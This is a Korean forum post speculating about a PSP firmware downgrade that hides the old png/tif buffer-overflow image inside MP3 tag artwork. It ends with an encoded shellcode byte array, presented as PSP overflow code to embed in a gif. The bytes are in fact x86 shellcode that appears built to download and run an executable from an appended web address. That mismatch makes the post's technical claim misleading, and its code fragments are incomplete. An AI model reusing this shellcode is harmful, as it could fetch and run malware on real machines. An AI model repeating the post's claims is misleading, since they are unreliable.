오늘 PSP 해킹포럼에서 한가지 가설이 제기되었고, 마지막일지도 모르는 2.01/2.5/2.6 다운그레이드의 가능성을 높였습니다.
그것은 펌웨어 2.0 다운그레이더에서 사용되었던 png / tif 파일을 이용한 버퍼 오버 플로우 버그를 변형해서 이용하는 방법입니다.
물론 소니에서는 펌웨어 2.01 버전부터 그림파일을 이용한 오버플로우 버그를 원천봉쇄했습니다.
그.러.나. 소니는 여기서 한가지 간과한 것이 있습니다.
그건 png / tif 파일이 PSP 뷰어에서만 작동될 것이라는 생각입니다.
하지만 그림파일을 다른 곳에 이용한다면....
우리가 흔히 듣는 MP3 파일에는 특정 태그를 넣어 MP3를 만든 사람이나 가사, 정보, 이미지 파일들을 넣을 수 있습니다.
그럼 여기서 질문!!!!
일반 MP3 파일에 펌웨어 2.0에서 사용되었던 버퍼 오버플로우용 이미지를 넣는다면 결과는 어떻게 될까요?
전문가들의 의견을 따르면 소니가 PSP용 MP3 플레이어에 관한 버그를 몰랐다면 위와 같은 방법으로 다운그레이더가 가능하다고 합니다.
현재 이 정보가 올라온 미국 시간이 새벽이기 때문에 개발자들은 날이 밝는대로 테스트를 해본다고 합니다.
이 방법은 펌웨어 2.01이상을 가진 사람들을 위한 마지막 희망이 될지도 모릅니다.
참고: PSP에 버퍼 오버플로우를 일으키는 소스코드
아래 코드를 gif 이미지 파일에 인클루드하여 제작하면 됨
Code:
char shellcode[] = "\xEB"
"\x10\x58\x31\xC9\x66\x81\xE9\x22\xFF\x80\x30\x1D\x40\xE2\xFA\xEB\x05\xE8\xEB\xFF"
"\xFF\xFF\xF4\xD1\x1D\x1D\x1D\x42\xF5\x4B\x1D\x1D\x1D\x94\xDE\x4D\x75\x93\x53\x13"
"\xF1\xF5\x7D\x1D\x1D\x1D\x2C\xD4\x7B\xA4\x72\x73\x4C\x75\x68\x6F\x71\x70\x49\xE2"
"\xCD\x4D\x75\x2B\x07\x32\x6D\xF5\x5B\x1D\x1D\x1D\x2C\xD4\x4C\x4C\x90\x2A\x4B\x90"
"\x6A\x15\x4B\x4C\xE2\xCD\x4E\x75\x85\xE3\x97\x13\xF5\x30\x1D\x1D\x1D\x4C\x4A\xE2"
"\xCD\x2C\xD4\x54\xFF\xE3\x4E\x75\x63\xC5\xFF\x6E\xF5\x04\x1D\x1D\x1D\xE2\xCD\x48"
"\x4B\x79\xBC\x2D\x1D\x1D\x1D\x96\x5D\x11\x96\x6D\x01\xB0\x96\x75\x15\x94\xF5\x43"
"\x40\xDE\x4E\x48\x4B\x4A\x96\x71\x39\x05\x96\x58\x21\x96\x49\x18\x65\x1C\xF7\x96"
"\x57\x05\x96\x47\x3D\x1C\xF6\xFE\x28\x54\x96\x29\x96\x1C\xF3\x2C\xE2\xE1\x2C\xDD"
"\xB1\x25\xFD\x69\x1A\xDC\xD2\x10\x1C\xDA\xF6\xEF\x26\x61\x39\x09\x68\xFC\x96\x47"
"\x39\x1C\xF6\x7B\x96\x11\x56\x96\x47\x01\x1C\xF6\x96\x19\x96\x1C\xF5\xF4\x1F\x1D"
"\x1D\x1D\x2C\xDD\x94\xF7\x42\x43\x40\x46\xDE\xF5\x32\xE2\xE2\xE2\x70\x75\x75\x33"
"\x78\x65\x78\x1D";
gcc 3.3.6 이상에서 컴파일하고 아래 코드를 추가한다.
Code:
newshellcode = new char[sizeof(shellcode)+strlen(web)+1];
Code:
char newshellcode[sizeof(shellcode)+strlen(web)+1];
|